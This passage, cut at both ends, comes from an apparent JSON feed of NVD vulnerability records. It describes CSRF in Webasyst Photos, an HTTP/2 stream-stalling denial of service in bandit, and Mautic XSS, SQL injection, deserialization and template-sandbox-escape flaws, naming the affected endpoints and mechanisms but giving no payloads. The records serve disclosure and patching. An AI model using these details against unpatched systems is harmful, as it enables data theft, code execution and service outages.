CSRF check. Attackers can lure logged-in Photos users to a malicious page that submits forged POST requests to photo/delete, album/save, photo/manageAccessSave or photo/saveField, deleting photos and changing access rights.","detail":"Webasyst Framework through 4.4.0 contains a cross-site request forgery vulnerability in the Photos app that allows remote attackers to perform backend actions because the app does not enable the framework's opt-in CSRF check. Attackers can lure logged-in Photos users to a malicious page that submits forged POST requests to photo/delete, album/save, photo/manageAccessSave or photo/saveField, deleting photos and changing access rights.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:33.707Z","updatedAt":"2026-10-26T17:01:22.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-116210","asOf":"2026-10-26T17:01:22.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-116210","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-116210","type":"primary","publishedAt":"2026-10-26T14:16:33.707Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115269","cveId":"CVE-2026-115269","aliases":[],"kind":"vulnerability","title":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 request body reader of mtrudel bandit allows an unauthenticated remote attacker to hold stream...","summary":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 request body reader of mtrudel bandit allows an unauthenticated remote attacker to hold stream processes open indefinitely via WINDOW_UPDATE or empty SETTINGS frames sent while a Plug reads the request body.\n\nBandit.HTTP2.Stream.do_read_data/4 in lib/bandit/http2/stream.ex waits for each frame with a fresh read_timeout. A stream WINDOW_UPDATE, or the zero-delta window update that every empty SETTINGS frame delivers to all streams, ends the wait without delivering any body data, and the loop starts a new full countdown. A client that sends one of these 9-byte frames before each countdown expires keeps read_body blocked, together with the stream process and whatever the application holds while reading, for as long as it likes.\n\nThis issue affects bandit: from 1.4.0 before 1.14.0.","detail":"Allocation of Resources Without Limits or Throttling vulnerability in the HTTP/2 request body reader of mtrudel bandit allows an unauthenticated remote attacker to hold stream processes open indefinitely via WINDOW_UPDATE or empty SETTINGS frames sent while a Plug reads the request body.\n\nBandit.HTTP2.Stream.do_read_data/4 in lib/bandit/http2/stream.ex waits for each frame with a fresh read_timeout. A stream WINDOW_UPDATE, or the zero-delta window update that every empty SETTINGS frame delivers to all streams, ends the wait without delivering any body data, and the loop starts a new full countdown. A client that sends one of these 9-byte frames before each countdown expires keeps read_body blocked, together with the stream process and whatever the application holds while reading, for as long as it likes.\n\nThis issue affects bandit: from 1.4.0 before 1.14.0.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:31.290Z","updatedAt":"2026-10-26T16:59:16.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115269","asOf":"2026-10-26T16:59:16.113Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115269","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115269","type":"primary","publishedAt":"2026-10-26T14:16:31.290Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115193","cveId":"CVE-2026-115193","aliases":[],"kind":"vulnerability","title":"A stored Cross-Site Scripting (XSS) vulnerability exists in the contact detail view of Mautic 7.","summary":"A stored Cross-Site Scripting (XSS) vulnerability exists in the contact detail view of Mautic 7. Values of HTML-type custom contact fields are rendered without output sanitization. A user or integration able to write a value to such a field (for example, through contact editing, the contact API, or a form submission mapped to the field) can store a script payload in it. When another user, including an administrator, opens the affected contact's detail page, the injected script executes within the context of their active browser session. This could allow an attacker to perform administrative actions on behalf of the victim, such as creating new administrator accounts, altering system configuration, or accessing contact and campaign data.","detail":"A stored Cross-Site Scripting (XSS) vulnerability exists in the contact detail view of Mautic 7. Values of HTML-type custom contact fields are rendered without output sanitization. A user or integration able to write a value to such a field (for example, through contact editing, the contact API, or a form submission mapped to the field) can store a script payload in it. When another user, including an administrator, opens the affected contact's detail page, the injected script executes within the context of their active browser session. This could allow an attacker to perform administrative actions on behalf of the victim, such as creating new administrator accounts, altering system configuration, or accessing contact and campaign data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:30.760Z","updatedAt":"2026-10-26T16:17:16.670Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115193","asOf":"2026-10-26T16:17:16.670Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115193","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115193","type":"primary","publishedAt":"2026-10-26T14:16:30.760Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115192","cveId":"CVE-2026-115192","aliases":[],"kind":"vulnerability","title":"An SQL Injection vulnerability exists in the dashboard widget data API endpoint (/api/data/{type}).","summary":"An SQL Injection vulnerability exists in the dashboard widget data API endpoint (/api/data/{type}). Chart filter parameters supplied by the client are not properly validated before they are used in the database queries that build dashboard chart data. An authenticated user with API access can exploit this to inject SQL into these reporting queries. Using blind SQL injection techniques, the attacker can read arbitrary data from the Mautic database, including contact and other marketing data and user account data with password hashes. The injected SQL can also be used to slow down database queries, which can have a limited impact on availability. Data modification is not possible through this vulnerability. Exploitation requires the Mautic API to be enabled.","detail":"An SQL Injection vulnerability exists in the dashboard widget data API endpoint (/api/data/{type}). Chart filter parameters supplied by the client are not properly validated before they are used in the database queries that build dashboard chart data. An authenticated user with API access can exploit this to inject SQL into these reporting queries. Using blind SQL injection techniques, the attacker can read arbitrary data from the Mautic database, including contact and other marketing data and user account data with password hashes. The injected SQL can also be used to slow down database queries, which can have a limited impact on availability. Data modification is not possible through this vulnerability. Exploitation requires the Mautic API to be enabled.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:30.617Z","updatedAt":"2026-10-26T16:17:16.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115192","asOf":"2026-10-26T16:17:16.553Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115192","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115192","type":"primary","publishedAt":"2026-10-26T14:16:30.617Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115191","cveId":"CVE-2026-115191","aliases":[],"kind":"vulnerability","title":"A SQL injection vulnerability exists in a contact lookup AJAX endpoint of the Mautic administration interface (/s/ajax).","summary":"A SQL injection vulnerability exists in a contact lookup AJAX endpoint of the Mautic administration interface (/s/ajax). A request parameter that selects the contact field to search by is not properly validated before it is used in a database query. Any authenticated Mautic user can exploit this, regardless of the role or permissions assigned to the account. Using blind (boolean-based or time-based) techniques, the attacker can run arbitrary SQL queries against the Mautic database and read any data the Mautic database user can access, including Mautic user accounts with email addresses and password hashes, contact data, and campaign and email content.","detail":"A SQL injection vulnerability exists in a contact lookup AJAX endpoint of the Mautic administration interface (/s/ajax). A request parameter that selects the contact field to search by is not properly validated before it is used in a database query. Any authenticated Mautic user can exploit this, regardless of the role or permissions assigned to the account. Using blind (boolean-based or time-based) techniques, the attacker can run arbitrary SQL queries against the Mautic database and read any data the Mautic database user can access, including Mautic user accounts with email addresses and password hashes, contact data, and campaign and email content.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:30.490Z","updatedAt":"2026-10-26T16:17:16.447Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115191","asOf":"2026-10-26T16:17:16.447Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115191","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115191","type":"primary","publishedAt":"2026-10-26T14:16:30.490Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115190","cveId":"CVE-2026-115190","aliases":[],"kind":"vulnerability","title":"An insecure deserialization (PHP object injection) vulnerability exists in Mautic's handling of segment filters and custom field properties.","summary":"An insecure deserialization (PHP object injection) vulnerability exists in Mautic's handling of segment filters and custom field properties. Several code paths that read these stored values from the database deserialize them without restricting which PHP classes may be instantiated, instead of using Mautic's safe deserialization helper. An attacker who is able to store a crafted serialized value in these segment filter or custom field properties can cause arbitrary PHP objects to be instantiated when Mautic later processes the data, for example during segment evaluation, contact export, or custom field API requests. Combined with gadget chains available in Mautic's dependencies, this could allow an attacker to execute arbitrary code on the server, read, modify, or delete data stored in the Mautic instance, including contact data, and affect its availability. Exploitation requires high privileges or an existing ability to write to the affected stored data.","detail":"An insecure deserialization (PHP object injection) vulnerability exists in Mautic's handling of segment filters and custom field properties. Several code paths that read these stored values from the database deserialize them without restricting which PHP classes may be instantiated, instead of using Mautic's safe deserialization helper. An attacker who is able to store a crafted serialized value in these segment filter or custom field properties can cause arbitrary PHP objects to be instantiated when Mautic later processes the data, for example during segment evaluation, contact export, or custom field API requests. Combined with gadget chains available in Mautic's dependencies, this could allow an attacker to execute arbitrary code on the server, read, modify, or delete data stored in the Mautic instance, including contact data, and affect its availability. Exploitation requires high privileges or an existing ability to write to the affected stored data.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:30.350Z","updatedAt":"2026-10-26T16:17:16.327Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115190","asOf":"2026-10-26T16:17:16.327Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115190","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115190","type":"primary","publishedAt":"2026-10-26T14:16:30.350Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:20:56.094Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115189","cveId":"CVE-2026-115189","aliases":[],"kind":"vulnerability","title":"A server-side template injection vulnerability exists in the Twig theme rendering sandbox of Mautic.","summary":"A server-side template injection vulnerability exists in the Twig theme rendering sandbox of Mautic. The sandbox introduced to restrict user-uploaded theme templates (the fix for GHSA-9fx4-7cmj-47vg) does not fully enforce its restrictions, allowing a crafted theme template to escape the sandbox. An authenticated user with the core:themes:create permission can upload a malicious theme whose template is later rendered, resulting in execution of arbitrary code on the server with the privileges of the web server process. This allows the attacker to execute operating system commands, read server-side files including configuration files and database credentials, write files, and reach internal services. In default installations the core:themes:create permission is granted to the Administrator role, and in multi-operator setups it may be delegated to other roles. This is an incomplete fix for GHSA-9fx4-7cmj-47vg.","detail":"A server-side template injection vulnerability exists in the Twig theme rendering sandbox of Mautic. The sandbox introduced to restrict user-uploaded theme templates (the fix for GHSA-9fx4-7cmj-47vg) does not fully enforce its restrictions, allowing a crafted theme template to escape the sandbox. An authenticated user with the core:themes:create permission can upload a malicious theme whose template is later rendered, resulting in execution of arbitrary code on the server with the privileges of the web server process. This allows the attacker to execute operating system commands, read server-side files including configuration files and database credentials, write files, and reach internal services. In default installations the core:themes:create permission is granted to the Administrator role, and in multi-operator setups it may be delegated to other roles. This is an incomplete fix for GHSA-9fx4-7cmj-47vg.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-26T14:16:30.203Z","updatedAt":"2026-10-26T16:17:16.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115189","asOf":"2026-10-26T16:17:16.177Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115189","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115189","type":"primary","publishedAt":"2026-10-26T14:16:30.203Z","checkedAt":"2026-10-26T17:20:56.094Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:21:00.016Z&lastModEndDate=2026-10-26T16:50:55.493Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:50:55.493Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:51:04.037Z&lastModEndDate=2026-10-26T16:20:55.068Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:20:55.068Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T14:21:07.433Z&lastModEndDate=2026-10-26T15:50:56.370Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:50:56.370Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 